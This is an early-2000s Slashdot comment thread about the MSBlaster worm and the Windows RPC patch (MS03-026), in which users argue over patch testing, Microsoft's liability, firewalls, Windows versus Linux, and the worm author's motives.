No, the plural is grammatically correct because he is allowing for the future possibility of other cities following suit...

Re:Newsflash!

[venom600]

Gives cities like Munich the last laugh.

Yep, right up until the next Apache/Sendmail/Bind exploit comes out.

Re:Newsflash!

[Anonymous Coward]

One would hope desktops don't run any of those.

Re:Newsflash!

[lightcycle]

Yep, right up until the next Apache/Sendmail/Bind exploit comes out.

Which probably will be reported, patched and resolved before any blackhats even notice there is an exploit. Really, this security through obscurity doesn't work. The only things obscure here seems to be the patches microsoft put out to prevent these exploits. The exploits themselves are certainly not the least obscure, despite the closed source evangelion.

Re: Newsflash!

[Black Parrot]

> One would hope desktops don't run any of those.

Red Hat has a nasty habit of installing sendmail, bind, and a bunch of other crap you don't want even if you do a custom install and explicitly mark them 'no'. My personal system-installation checklist has a step that explicitly mentions uninstalling those two after a fresh installation.

Re:Newsflash!

[Anonymous Coward]

actually its correct because he said 'like', if he didn't then city would be implied and not necessary.

Re:Newsflash!

[saden1]

If you want to be anal about it wouldn't "a city like Munich" be more appropriate????

FYI: "Cities like Munich" is grammatically correct because there are other cities that are in the processes of following in Munich's footsteps.

Re:Newsflash!

[Anonymous Coward]

So was the RPC exploit. The patch was published in June, 16.

Re: Newsflash!

[caluml]

Red Hat has a nasty habit of installing sendmail, bind, and a bunch of other crap you don't want even if you do a custom install and explicitly mark them 'no'.

-3, Talking out of arse.

This is plain and simple BS. Which is weird, cos I have you down as a "friend", so you must have said something good down the line before.

Re: Newsflash!

[Anonymous Coward]

Yes, sendmail is installed by default. Just about the most often asked stupid install question is:

- what do I do when my computer boots up for the first time and it hangs on 'starting sendmail'? (Sendmail would hang when the machine did not have a valid resolvable host name)

roosting chickens

[0111 1110]

Does this mean those chickens are finally coming home to roost?

I don't pity them

[dodell]

The patches have been available for a LOOOOONG time now. They should have patched. They can't whine now. End of story.

Re:I don't pity them

[Psx29]

The patches have been available for a LOOOOONG time now. They should have patched. They can't whine now. End of story.

You know what really blows though? People who just bought a new computer and don't even have time to update the pc w/ the patch since it spreads so fast. Of course you could burn the patch on cd and update it manually but i doubt the average user would know how to download it like that anyway. (Most people are idiots though. My computers were all patched btw)

Re:I don't pity them

[|<amikaze]

for a LOOOOONG time now

Three weeks isn't that long for a patch to be out. Many organizations actually test patches out on non-production machines before randomly installing software that Microsoft says is OK.

Re:I don't pity them

[BWJones]

The patches have been available for a LOOOOONG time now.

What, three or four weeks? Here is the problem with Microsoft patches. Folks have been screwed more than once due to poor testing on Microsoft's part when the patches completely screw up your system forcing you to spend hours rolling things back to where they were or even completely reinstalling Windows. So, many IT folks are understandibly reluctant to employ these "patches" before adequate testing on their own systems. This may take a number of weeks.

Re:I don't pity them

[skaeight]

The thing is if the IT people had properly set up firewalls on these networks, it would also be a non issue. Yes I know you run into problems with laptops being connected to the network as well, but there should be a policy in place to handle them as well.

Re:I don't pity them

[zulux]

The patches have been available for a LOOOOONG time now. They should have patched. They can't whine now. End of story.

---

I've had to patch several Windows 2000 boxes for clueless friends and mothers of friends.

The patch is ony 1.3 Megs or so, but the problem is that you have to have SP3 or higher to apply the patch and going from no service pack to SP4 takes 11 hours over a 56K connection.

Try explanig that over the phone.

It woulden't be so bad if Windows 2000 had a servacable firewall - there's one hidden in the managment console thingy.

It's really pathetetic that in the year 2000 - ALL of the free unixes had decent, available firewalls, and most of them fit under 60 Megs.

Re:I don't pity them

[Psx29]

Also note that for different localized versions of windows the patch was available at different times

Re:I don't pity them

[Gherald]

Three weeks isn't that long for a patch to be out. Many organizations actually test patches out on non-production machines before randomly installing software that Microsoft says is ok.

But if you are going to trust a closed source operating system, you may as well trust all updates from the owners of the code. I mean, who else is qualified to release patches...?

As they say: In for a penny, in for a pound.

I run Windows update on all my employer's servers and workstations within 48 hours of a security patch being released. I figure that is enough for a billion dollar company to retract a patch that has gone bad.

Re:I don't pity them

[i_m_sane]

A big problem was the patch was never released as a critical update until a few days ago. I work support at a small-medium college campus and we generaly have our users install the critical updates. (And even then most dont listen).

Re:I don't pity them

[Anonymous Coward]

I don't see what the issue is... why in G*d's name does anyone expose any ports other than 80 (and maybe those for ssh/https/pop/imap) open? There's no excuse for leaving any open ports! Running a firewall should be a prerequisite for anyone with a broadband Internet connection!

Re:I don't pity them

[MrLint]

Well i don't pity them even more. Its not like there hasn't ben a non-stop litany of windows viruses and security holes coming down the line in the past .. oh 4 years.
If they haven't dealt with the issue by now they deserve to be fired as they are grossly incompetent.

Re:I don't pity them

[TheQuantumShift]

I remember when this vuln was announced, I hit windows update that day (7/16), and lo and behold, it was a critical update... Remember how this vuln was all over the news? Remember how "the authorities" were listening in on chatrooms and saying there was a lot of talk about an exploit? I certainly remember all of this, so I say screw those who didn't patch. What's better, installing a patch that screws your system when you can blame that on MS, or not installing the patch and having no one to blame but yourself?

Re:I don't pity them

[binarybum]

"Most people are idiots though. My computers were all patched btw"

well you wouldn't want us to think you were an idiot now would you?

ur so l337!

Re:I don't pity them

[Anonymous Coward]

And did you ever consider that when you're on 90% or more of machines around the world, people are going to abuse every glitch they find?

If any flavor of nix, apple, freebsd, etc. was in the spot that the Windows OS is, they'd have just as many viruses or holes. People would be looking for them and finding ways to manipulate Linux, for example. So don't start this crap with "oh 4 years".

Re:I don't pity them

[dillon_rinker]

Patches can introduce bugs. Microsoft does not test their patches against all software in the world; they certainly don't test it against all custom software.

Suppose you've got a mission critical app. Suppose the folks that wrote this app went out of business in 2000. Suppose it incorporates a library that includes a control that uses a deprecated interface to call an obsolete method. Suppose this method returns a value of 127 for a particular failure. Suppose that this failure is one that should not be retried in this environment because it would another intitiate query to master database in Frankfurt. Suppose that a patch (incorrectly) causes this interface to begin returning 63 for that failure code. Suppose that what USED to be failure 63 should be retried 255 times. Suppose that one day this particular failure (was 127, now 63) occurs.

Now suppose that you're the boss of that guy who convinced you last week "We don't need to test patches apps from Microsoft before deploying them enterprise-wide." and your boss wants to know why his boss in Frankfurt is on the line.

Now you know why I'm unemployed.

Re:I don't pity them

[Mantorp]

I suppose so.

Re:I don't pity them

[Anonymous Coward]

For a second I thought you might be talking about Contoso.com.

Sorry, but it does sort of read that way.

Re:I don't pity them

[Anonymous Coward]

Sure, M$ may have over 90% of the desktop market, because most people are mis-informed and follow the herds. However, do some research on the usage percentages with internet servers, and business critical servers. I think you will find the M$ percentage far less. Now if their percentage is far less in the business and internet servers, that leads me to a few conclusions. 1) People making the decisions for these servers are a little more educated. 2) If the percentages are a little more even with these types of servers, then why don't we see more of an even distribution of critical security problems that effect the entire world? 3) People may be getting tired of M$ using them as QA guinea pigs.

Re:I don't pity them

[Mostly Harmless]

"Now you know why I'm unemployed."

Yeah, but is that because of bad tech policy, or bad management? If the app writers went out of business in 2000, maybe it's time to upgrade. Regardless, sometimes taking a chance on a critical update is worth it in the long run, as we're seeing now. Unfortunately, you happened to draw the short straw one day. Good luck on your job search. They probably didn't deserve you anyway.

Re:I don't pity them

[westyvw]

I am sorry I cant mod you up. I agree, patches from MS have often caused more trouble then they are worth. I have seen this happen, and then I get the shit for it. What am I supposed to do?

Re:I don't pity them

[Gherald]

A security patch should not break code. Were I "the boss of that guy," I would consider Microsoft to be at fault.

Sounds like a time for damage control and updating that app or library (even if it means using a disassembler).

As for deploying at a large enterprise, it would be wise to test mission critical apps before doing so. But such testing should be routine and be completed ASAP.

Re:I don't pity them

[Malcontent]

Whoever said windows has a lower TCO whould read your post a hundred times till it sinks in.

Re:I don't pity them

[Anonymous Coward]

What about those who did patch and still got hit by the worm? I'm hearing from several sources that installed the Microsoft patch and still got infected.

Re:I don't pity them

[Advocadus Diaboli]

The patches have been available for a LOOOOONG time now. They should have patched. They can't whine now. End of story.

And how do they get notice about that "bug" that they have to patch? Pardon me, but if you buy a car which has a bug in the brakes usually the car manufacturer sends you a nice letter and tells you to proceed to the next car service center immediately. And yes, they fix it at their costs.

I've been filling out lots of registration cards for Microsoft products, but I never got any notice about a bug that needs to be fixed. All I got was marketing bubbles to announce new products.

Sorry, I think in that case it is Microsoft's duty to inform all registered users about critical bugs in their products. Otherwise I think Microsoft is liable for all damages that result out of such an incident.

Re:I don't pity them

[MrLint]

abuse every glitch? give it a rest. You install AV software. You keep it up to date. Or perhaps you want to explain to me how PA and MD state govt ended up getting stuck by a day zero virus?

The only explanation is incompetence

Re:I don't pity them

[TheQuantumShift]

They were infected before applying the patch. I've seen this at my job (tech support for #2 ISP), last I heard, in order to completely remove the virus and get the patch, emachines, HP, and others were using "Restore, wipe disk" solutions... however, using a virus clean for the vuln, turning on the Internet Connection Firewall, downloading the patch, and then running the vuln clean again, takes care of it. Of course I updated when it came out and always run the firewall, So I never saw it... But I still updated Norton, ran a scan, and it came back good. I guess I have no sympathy because I know tomorrow there will be 200 calls in que when I walk in at 8:30...

Re:I don't pity them

[Anonymous Coward]

Actually I had this exact problem, with the Patch for the RPC bug.

One of our samller machines ran out of HD space on C: half-way through the install, fscking up the whole system. Fortunately my boss let me re-install with Linux rather than Win2k (it wasn't a big deal on this machine)

So now we have one more Linux box in the office.

Re:I don't pity them

[unclethursday]

A security patch should not break code. Were I "the boss of that guy," I would consider Microsoft to be at fault.

Unfortunately, under current laws and regulations, Microsoft is not held liable if their security patches break your system. They're also not held liable if a virus/worm hits you befor they can patch it. In fact, no matter what Microsoft's software ends up doing to your buisness, they aren't liable for anything.

So consider it Microsoft's fault all you want, but they won't be forced to do anything about it.

In the end, the company is going to want to blame someone they can do something to, which means their employees.

Thursdae

Re:I don't pity them

[Cat_Byte]

I'm so sick of people with O/S blinders on. Look...Linux does the same crap to me. Update GPL or some other crap you have to do and break something else.

Can you provide software information like what version of what software broke when what update was installed? Funny, neither do any of the other anti-MS people. That's horrible administration to not keep details of conflicting software to prevent it from happening again. Seems to me the software that broke was poorly written since all other apps seemed to have kept trucking along. Otherwise we would have had a /. story about how MS was sued for bringing down everyone who used critical update. It hasn't happened.

If I write software that balances my checkbook but uses crappy programming based on the current version of windows only and suddenly xyz.dll is updated due to a security flaw in it, YAY MICROSOFT.....booooo me for requiring it....double booooo the admin who didn't update xyz.dll because he's an anti-MS freak.

Bottom line - the network admins who did not install this update or put critical systems on a secure LAN should be replaced with one of the hundreds of thousands of unemployed IT people with over a decade of experience.

Re:I don't pity them

[Gherald]

That wasn't my point, I understand they can't be held liable under the law.

As for the company firing their employees, I'd rather work a job I am overqualified for than work for such a company.

Re:I don't pity them

[unclethursday]

Otherwise we would have had a /. story about how MS was sued for bringing down everyone who used critical update. It hasn't happened.

At this point, it wouldn't matter if someone tried to sue MS if this has ever happened.

Current laws and regulation leave MS in the clear of such matters. They are not held liable for anything their software does. This goes from security holes so large you can fly Darth Vader's star destroyer through them to patches that fuck up other programs. They simply aren't held liable when they do fuck up.

No software vendor is. No matter if their software is just plain old unreliable, to the most insecure virus attracting software out there.

Thursdae

Re:I don't pity them

[alonsoac]

Patch was pusblished 3/26/2003.

Re:I don't pity them

[Cat_Byte]

Wow talk about a Windows noob. Go to control panel, double click on the automatic updates icon, and set it to notify you of critical updates.

They do so at the expense of their own bandwidth and this is available immediately to all Windows users (unlike Redhat auto-update that only gives you a month free).

I hope you're not an admin.

Re:I don't pity them

[atam]

It is well known that Windows Update will sometimes report a successful install of a patch when in fact it fails.

Re:I don't pity them

[alonsoac]

But the patch was released on 3/26/2003. How much time do you need to test a patch? 3 months?

Re:I don't pity them

[Anonymous Coward]

"vuln"? You sound like a complete tool. If you worked for me, I'd fire you and maybe kick your ass on the way out.

Re:I don't pity them

[mentin]

People who just bought a new computer got it with Windows XP. Given correctly configured network wizard (and no NT domain), XP will turn on personal firewall, and the computer will not be vulnerable.

Re:I don't pity them

[marko123]

As they say: In for a penny, in for a pound.

arse pound

Re:I don't pity them

[fishbowl]

>Now you know why I'm unemployed.

Because someone had to be the exception that proves the rule that "nobody ever got fired for buying Microsoft?"

Re:I don't pity them

[Swaffs]

Yeah, but who can believe anything that's said in a chat room where *@*.fbi.gov is lurking around?

Re:I don't pity them

[ogre2112]

I'm the only one that uses this computer, and I have been patched for more than 3 weeks, without even knowing about the vulnerability or the patch.

I'd love to bitch and moan about Microsoft, but come on people, they made updates (semi)automatic! and people still don't patch!

I have actually seen peoples machines where the automatic updates have installed, and *every* time they boot it notifies them: "You have new updates to install" and they completely ignore it. Every boot.

Sigh. Too bad they don't have a patch for human stupidity.

Re:I don't pity them

[Anonymous Coward]

Fortunate for him you're an unemployed full-time masturbater who has no employees to fire.

Re:I don't pity them

[mwolff]

But that is like taking your car to the dealer and asking if there are recalls. The parent meant that car companies warn you without you prompting them.

Re:I don't pity them

[blincoln]

It's really pathetetic that in the year 2000 - ALL of the free unixes had decent, available firewalls, and most of them fit under 60 Megs.

Windows 2000 was explicitly designed for the enterprise market, not the home. Most enterprises I know of don't need to have firewall software on desktops because they have dedicated devices for that function.

If someone really needs a firewall on a 2k machine, why not use Zonealarm? It's free, the download is fast, and the default configuration blocks connection attempts like this worm uses.

Re:I don't pity them

[Cat_Byte]

Thats what i mean too. If a car owner doesn't read his mail from Ford/Chevy or whoever it's the same as not reading that little popup that says you need to update. It's the same thing. I don't click on anything to be notified of updates. They come to me and I have the option of installing or ignoring when it automatically prompts me.

Re:I don't pity them

[Anonymous Coward]

If you happen to live in one of these areas, and can stomache being a Windows admin, tomorrow would be a great day to drop off the old resume.

Re:I don't pity them

[fluor2]

Many organizations actually test patches out on non-production machines before randomly installing software that Microsoft says is OK. This is pure stupidness, Microsoft have lately shown good testing environments, and one can be almost 99% sure that the patches do not mess up users' systems. It's been like ages since a patch caused any bluescreens.

Re:I don't pity them

[zulux]

If someone really needs a firewall on a 2k machine, why not use Zonealarm?

I'm just saying that Microsoft's priorities are off -

They put a #$#R%@ 3D Pinball game in Windows 2000, and diden't put an easy to use firewall just goes to show their lack of professionalism.

Re:I don't pity them

[BrynM]

"Current laws and regulation leave MS in the clear of such matters"

The EULA for the patch itself (yes, there's an EULA for the patch - it asks you to agree during install) exempts MS from any legal action due to applying the patch.

Re:I don't pity them

[Read Icculus]

Look...Linux does the same crap to me. Update GPL or some other crap you have to do and break something else.

Well at least you've obviously used Linux before and know what you're talking about. Time to apt-get gpl.

Re:I don't pity them

[Anonymous Coward]

I have no idea how many millions of PCs all over the world need to be patched, but there is absolutely no way that they can all patch at once. The patch is 898K fo Win2K and 1.2M for XP. Even if we said there was only one million PCs, that would be over 11 megabytes per second every second for the first 24 hours.

That's assuming that all of the owners of those PCs HAD BEEN INFORMED OF THE PATCH'S EXISTANCE when it was released, which they most certainly were not. When did you first become aware of this vulnerability?

You can pity them because you have no sympathy for the misfortune of others or because you're ignorant, but you cannot pity them for the reason you claim justifies not pitying them.

Re:I don't pity them

[Anonymous Coward]

Well you know what? For years IT staff promoted Windows for job security reasons (their jobs): nobody was fired for suggesting a Microsoft solution.

It is about time IT managers get fired for having suggestet Microsoft solutions in mission critical systems! (and keep doing that).

Re:I don't pity them

[Anonymous Coward]

hmm, according to MS the security bulletin came out July 16, 2003: Microsoft Security Bulletin MS03-026

Re:I don't pity them

[unclethursday]

The EULA for the patch itself (yes, there's an EULA for the patch - it asks you to agree during install) exempts MS from any legal action due to applying the patch.

Yes, and so far current laws have held up clickable licenses, hence why I say the curent laws leave them in the clear. The EULA states you exempt MS from any legal libility in case the patch does something to your system, and as of right now the law will back that up.

We should pray to God that the UCITA doesn't spread further than Maryland and Virginia. It makes EULAs legal and binding, even if the end user is never allowed to see it, and any changes to the EULA are completely retroactive (any wonder MS is lobbying so heavily for it?).

*shudder*

Thursdae

Re:I don't pity them

[Dahan]

WRONG.

Re:I don't pity them

[IM6100]

Maybe the firewalling should be done at the ISP. Block all incoming traffic to un-needed ports. If someone needs Port 80, open it up and bill accordingly.

Oh, wait. I hear all the screaming and fury coming from a mile away at that idea.

Re:I don't pity them

[Anonymous Coward]

There are two patches, and some confused the two. One is the patch against the RPC DOS vulnerability (which doesn't stop the virus), the other is against the buffer overflow.

Re:I don't pity them

[Anonymous Coward]

The 3D Pinball game in Windows 2000 was just part of the Plus Pack for Windows 95. It wasn't something they spent a ton of money developing expressly for Windows 2000. It was a freebee toy they threw in.

Does Pinball make you angry for some reason??

Re:I don't pity them

[Albanach]

Three weeks? Try four months. The patch was available in March. Only sysadmins that dodn't patch until a vulnerability is being widely publicised will have had three weeks and whos fault is that? Certainly not Microsoft's.

Re:I don't pity them

[IM6100]

Yep. And the same exemption-from-liability is common in the Free Software world. I think that right in the COPYING file there's an expressed 'no-liability' clause.

We'd better get right on that. I can see all sorts of free software developers needing liability insurance policies before they can push the new source tarball out on the ftp site.

Re:I don't pity them

[RoLi]

I certainly remember all of this, so I say screw those who didn't patch. What's better, installing a patch that screws your system when you can blame that on MS, or not installing the patch and having no one to blame but yourself?

As soon as you play the "blame game" you have already lost, and you know it.

The virus writers win because they get the attention they wanted, Microsoft wins because they saved billions by releasing quick-n-dirty designed software early.

Re:I don't pity them

[waterbear]

I have actually seen peoples machines where the automatic updates have installed, and *every* time they boot it notifies them: "You have new updates to install" and they completely ignore it. Every boot.

Sigh. Too bad they don't have a patch for human stupidity.

It's not always stupidity, it's more like crying 'wolf', that's why folks ignore it. Well, there are some reasons not to update with everything that MS calls a critical update. The thing is, 'MS update' seems to lump in the real critical security updates with plenty other things not so desirable. For example, a new version of MPlayer with extra digital restrictions, or SP3 for W2K that at one time looked as if it might be classed as spyware (SP4 seems to have ironed that one out). AFAIK you can't set MS windows update to restrict its notices to real security updates and nothing else.

Re:I don't pity them

[ColaMan]

Pfft!

What about patch 811493? No blue screen, but a pain-in-the-ass slowdown and crap system performance.
That was in April.

Four months - that's "been like ages"?

Re:I don't pity them

[blibbleblobble]

"so I say screw those who didn't patch."

Or, in the case of SQL-server, screw those who do patch.

Re:I don't pity them

[blibbleblobble]

"you have to have SP3 or higher to apply the patch and going from no service pack to SP4 takes 11 hours over a 56K connection."

Of particular note to anybody like your family, on a dial-up connection, this would cost around GBP 9.20 on a typical UK internet access package. And you can't let anyone else use the update once you've downloaded it.

The 'typical UK ISP' I mention also disconnects every two hours, so if MS-Update doesn't support resuming, then an 11-hour download is simply not possible.

If such a patch were needed, that's immediately a $15 per person per computer direct monetary loss just from the patch, nevermind worm damage or 0wned computers.

Re:I don't pity them

[Anonymous Coward]

Garbage. Why is port 133 open by default? On desktop machines?

What does it do? Does everyone running XP know that a port is open to the outside world? Do they need RCP?

I don't know the answers, I don't use XP. All I know is the other day my boss got a pc with XP for home use. He doesn't even understand the notion of ports. Why is one open on his machine by default?

I've been wondering if Linux might be a good idea for them, but hesitated. I'm reconsidering. He had an employee once who's service truck was always getting broken into. He suggested that he move, since he lived in a bad neighborhood. It worked. Windows is a bad neighborhood.

Derek

Re:I don't pity them

[PhiltheeG]

Historically, Microsoft has released patches and service packs that have disabled other software products or caused them to fail. They also introduce new or altered EULA's with patches and service packs. This has created a fair amount of mistrust towards Microsoft.

I used to be able to apply service to mainframe OS/software, test the patches for about a day, then place them into production; we trusted the vendors. Unfortunately, that is not the case anymore as trusted vendors have been absorbed or are gone. It takes us a month to rotate through cummulative service and sometimes we catch things.

Three weeks is a long time, but understandable if you have burnt before. Besides, if Microsoft was a closed system instead of leaving crap like RPC open by default things might just be a little smoother.

Re:I don't pity them

[Anonymous Coward]

Corruption of 3ds max(R) and Autodesk(R) VIZ Files [datamat.com] this patch caused problems with max files. just clicking on them would cause explorer to crash.

Re:I don't pity them

[the_tipper]

I agree totally, three weeks isn't long at all!! I currently look after a Java Application Platform that runs on Windows 2000 (unfortuntely due to a .NET component of the application) :-( The setup includes testing/staging/production and a DR environment which all required patching and testing for the DCOM vulnerability. Imagine my nervousness in regards to the microsoft patch when after sucessfully patching the testing environment, I applied the patch to the staging environent, rebooted the machine and the bloody thing would not boot. Now these environments are identical, so after recovering the staging server from the rescue install and restoring from backups we were certainly reluctant to patch our production systems until some more thorough testing had been completed. At the time that the MSBlaster worm was going crazy, the production and DR environments still remained unpatched, however they were protected somewhat via a firewall. It was decided to patch the production server after notification from the datacentre where it is hosted that the MSBlaster worm was running rampant through their networks (and from what I have seen of their network I was not going to rely on there VLAN's or firewall's to protect my site). As it turned out the patch applied sucessfully to the production environment with now dramas, but it still makes you wonder. Now, I understand that the staging servers problems could have been caused by something else. But this is not the first time that I have come accross patches working inconsistantly accross multiple "identical" environments. Getting back to my initial point... Three weeks is certainly not long, when you are concidering highly complex custom application servers running on the Windows platform, plus the appropriate outage windows to be able to install and test these patches. I guess the thing that really scares me the most is the vulnerability that gets through unoticed by M$ and the like. Then we really will think three weeks is a looooooooooong time :-)

Re:I don't pity them

[Savage-Rabbit]

I also patched the day that patch hit the update server and I got a small kick out of sitting at my desk while 4 computers within a 10 meter radius of me crashed in a single morning. When a patch becomes available the sick individuals who craft these viruses and worms get to work using the MS technical bulletin as a blueprint and if you don't patch at least once a week don't blame Microsoft. They are only to blame if they fail to release a patch in time.

Re:I don't pity them

[jafiwam]

No. ONE of the patches was out for a while now. (And I would not consider less than 4 months a while, I seem to remember doing this one only several weeks ago.) For those people that waited, there was one patch. For those people that patched right away, there was yet, a second patch.

The hotfix to close the exploit was out before the appearance of the LovSan worm, and fixes were included in the new SP4 version too.

The hotfix to prevent the denial of service (RPC crashing when probed) was not out, because nobody knew about it until the worm started hammering at the RPC service trying to spread. So even if all the boxes on the network and DMZ were all patched, the internet connection could have provided the means for the worm to crash boxes anyway. Even if they were patched in advance.

An infected box can still crash a whole network of other boxes becase the hotfix prevented infection, it did not prevent RPC from crashing when repeatedly probed. So a second patch came out to fix that problem, AFTER THE WORM WAS RELEASED AND CAUSING PROBLEMS ALREADY.

If the person who wrote LovSAN (or whatever you want to call it) was intending on showing people they should patch, they did not wait long enough. Nobody in their right mind throws all the service packs and fixes onto a windows machine willy-nilly without trying it on one first and running a while. There will always be a gap between publishing of a patch and full implementation, even if by some magical means every user was a perfect admin of all the boxes they administer, and all boxes had such admins. Even if everybody became telepathically informed of all released patches on all software. There are good, valid and sensible reasons for waiting before patching. Ask around, you will find some people wait for service pack updates simply to allow the early adapters to find all the bugs and for MS to fix them.

Your understanding this worm and the RPC security problem is wrong.

[And who the fuck modded the parent post as "interesting"? Listen to Art Bell if you want self-righteous smuggery mmm'kay? You might think it is funny, but one persons ignorant cock-rubbing bullshit is not "interesting"]

Re:I don't pity them

[16K Ram Pack]

So consider it Microsoft's fault all you want, but they won't be forced to do anything about it.

It's just not good enough, and eventually something's gonna give on it. When there are 3 worms in a week and everyone in the country gets a major impact, the press will squeal like crazy and the government will be forced to act.

Re:I don't pity them

[Anonymous Coward]

The first question is really WTF is it there in the first place?

The second question is why is it a hidden application and why is it so hard to remove?

The third question is why do we need the extraneous \Program Files\NT folder when the junk contained in that folder could have kept with all the other junk dumped into \WINNT?

When you're done answering those, the issue of whether someone has a valid objection to seeing a game put into an OS marketed for the corporate environment could be addressed. Until then, I consider his objection to have merit and his comments noteworthy.

Re:I don't pity them

[Overly Critical Guy]

It was widely reported, including on Slashdot. EVERYONE knew about it on 7/16. You should have patched. It was a tiny 800kb downloaded that merely fixes a hole in RPC. It doesn't even require testing on non-production machines (which Microsoft does anyway). That very day, it went up on Windows Update, top of the list in the Critical Updates section.

Re:I don't pity them

[HaloZero]

...psst.... there is a BOMB....in my PANTS....

[lots of immature giggling can be heard across IRC]

Re:I don't pity them

[Syberghost]

I don't ordinarily reply to sigs, but this one annoys me.

One World, One Web, One Program - Microsoft ad
Ein Volk, Ein Reich, Ein Fuhrer - Adolf Hitler

One man, one goal, one mission - Freddy Mercury, "One Vision"

Don't read so much into coincidences. All you're doing is invoking the common corollary to Godwin's Law on yourself.

Re:I don't pity them

[Anonymous Coward]

Mom? Is that you?

Re:I don't pity them

[clarkc3]

but the problem is that you have to have SP3 or higher to apply the patch

thats odd, I've updated people on both SP1 and SP2 no problem at all. And 2000 has many serviceable firewalls, they just aren't bundled with windows.

Re:I don't pity them

[alonsoac]

If you read the instructions provided by symantec they ask you to install a patch for the RPC vulnerability. That one patch was available since late March. Why M.S. issued the security bulletin in July I don't know. But it makes no difference, the admin should have installed the pack when it was available not when M.S. explicitly said it was "Critical". Goes to show you can't wait to be told what to do, it's your job to know patch is available and determine wethere it is a good idea or not to install it.

Not that I care, just a comment.

Re:I don't pity them

[Gherald]

I know it is a coincidence, I just find it humerous.

Re:I don't pity them

[Dahan]

If you read the instructions provided by symantec they ask you to install a patch for the RPC vulnerability. That one patch was available since late March. Why M.S.

Cite please. The instruction I see say, "W32.Blaster.Worm exploits the DCOM RPC vulnerability. This is described in Microsoft Security Bulletin MS03-026, and a patch is available there. You must download and install the patch."

The RPC patch from March you're referring to is probably MS03-010, which is a different (and less-severe) problem. It lets you DoS a machine, but doesn't let you actually run any code.

My point is that the patch hasn't been out since March like you've been claiming.

Re:I don't pity them

[orionware]

I agree.. If you install a linux box and then not go thru and make sure all of the kiddie-scriptable-spolits are not patched then you get what you deserve. Same goes for windows.

I've never gotten any of the viruses when other people on the same LAN have. Why? BEcause I hit windowsupdate every day or two...

While I will agree that windows is undoubtably a hacky non-secure OS, if you keep up on the patches you will have very little trouble with intrusion.

It just takes more time with windows, something that unfortunately gets left out of the ROI calculations by many jackass business types who stick their nose in the IT decision process.

Re:I don't pity them

[Le Marteau]

Slow down, take a breath, and consider why that pinball thing has your panties all in a twist. I'm sensing a logical disconnect here.

Would you criticize Red Hat or Slackware if they did the same thing? I installed Red Hat the other day, and it had "Tux Racer" on it. Did a full install of Slackware, there were PLENTY of games.

Re:I don't pity them

[alonsoac]

You are right I guess I got confused. Someone posted the wrong patch somewhere and I picked it up. Now I see:

"While you should have the MS03-010 [microsoft.com] patch installed, it is the wrong one for this worm. Make sure you use MS03-026 [microsoft.com]. This is the patch that it links to in the removal tool [symantec.com] link."

Thanks.

Re:I don't pity them

[5KVGhost]

It woulden't be so bad if Windows 2000 had a servacable firewall - there's one hidden in the managment console thingy.

It's really pathetetic that in the year 2000 - ALL of the free unixes had decent, available firewalls, and most of them fit under 60 Megs.

And I'd wager that the average desktop user would have a far more difficult time sucessfully installing and configuring a Linux-based firewall than they would have activating the "hidden" Windows 2000 thingy. Or they could just download ZoneAlarm or any of the other free, decent Windows firewalls.

Re:I don't pity them

[Anonymous Coward]

That's why you use the published #defines to check return codes, never the numeric values. If there isn't a define for your error code, it's probably undocumented, and you probably shouldn't be using it.

Re:I don't pity them

[zulux]

And I'd wager that the average desktop user would have a far more difficult time sucessfully installing and configuring a Linux-based firewall

In the year 2000 this was true, but most Linux distributions nowdays have a graphical way of creating the firewall.

Hell, even OpenBSD has a GUI mode for PF.

Re:I don't pity them

[Mad Marlin]

... on a dial-up connection, this would cost around GBP 9.20 on a typical UK internet access package.

Wow, that really sucks. Here in the USA, $20 per month will get you unlimited dialup access to just about anywhere, except for some isolated rural locations. An (almost) unlimited high-speed connection can usually be had for $40 per month. You should start up an ISP with that sort of pricing structure, you'd make a killing.

Re:I don't pity them

[TheQuantumShift]

Fair enough, I don't do admin, so I don't do any server patching, and it does make it seem to be a case of: "Damned if you do, Damed if you don't"... Of course if some silly worm takes down windows, I do have that second, more attractive, boot option... Slackware, Which I have labelled: "Last Known Good"...

Re:I don't pity them

[TheQuantumShift]

I type "vuln", because like the rest of you, I'm lazy, and don't feel the need to type "Vulneralabilities"... Look, i even spelled it wrong... I must be a tool...

People should start taking note

[Anonymous Coward]

The person who created this worm did so to show that Microsoft's software was insecure. Their methods are bad, but they've shown that no matter how good WinXP sounds compared with Win9.x, it is still made by Microsoft. If you don't want this kind of rubbish, don't use Microsoft.

Re:People should start taking note

[EverStoned]

Don't try and defend this with Microsoft-bashing. What he's done is illegal and dangerous. Mod me down, fascists.

Re:People should start taking note

[Anonymous Coward]

blah blah, if anything they are showing how many people use MS products.

There could be this kind of problem w/Linux but no one would ever know because a) Linux/Unix users are more clueful than Windows users and b) there are FAR fewer Linux/Unix machines out there.

Blah blah, don't use MS, blah blah. That's just not an option for 90% of the world.

Re:People should start taking note

[wwest4]

you're assuming too much about their intentions. based on the maturity level apparent in the strings in the executable, i'd say that anti-ms bashing and ostensibly noble intentions are just a convenient excuse for script-kiddie vandalism.

if it weren't, they'd post an exploit in a public forum and/or notify ms, not write a worm and release it into the wild.

i'm personally annoyed at all of the extra work this fscking thing cost me today - never mind that both my ISPs seem to be slower than shit and my iptables log grew 10 megs this week.

to the author - grow up and put a grey or white hat on if you want to play with the rest of us.

Re:People should start taking note

[ahodgson]

Of course it's an option. Hell, it's free.

Re:People should start taking note

[Anonymous Coward]

blah blah, that's just not an option for 90% of the world, blah blah.

Excuses, excuses. Where there's a will, there's a way!

Re:People should start taking note

[Kenja]

And it runs all the apps I need, oh wait it dosn't. Ok then it must run some of the apps I need, seems not. So it runs nothing I need to use and has no comercial software of note. What a great choice for the non hobiest! When will you understand that most people use computers to run softwre, not oporating systems. Linux is great in the right area (web servers etc) hwoever it is a very poor choice for a general OS.

Re:People should start taking note

[bninja_penguin]

Blah blah, don't use MS, blah blah. That's just not an option for 90% of the world.

WTF??? Is 90% of the world running Autocad? As far as I know, thats about the only thing that's really stuck to running on Windows (of software available to the general public.) Even MS Office can run fine on an alternative platform (Macintosh.)
Also, 90% means nine out of ten. So, what you are saying, when you say That's just not an option for 90% of the world , is that nine out of ten aboriginals or rain forest indians have no option but to use MS? Good God, man, I'm not even sure that nine out of ten people in the world have electriciy or running water. So, before you start spouting off about "options for 90% of the world", how about you tone that down to what you really mean, and say,
"Blah blah, don't use MS, blah blah. That's just not an option for 90% of the anonymous cowards who post to /."!!!

Re:People should start taking note

[Abm0raz]

The person who created this worm did so to show that Microsoft's software was insecure. Their methods are bad, but they've shown that no matter how good WinXP sounds compared with Win9.x, it is still made by Microsoft. If you don't want this kind of rubbish, don't use Microsoft.


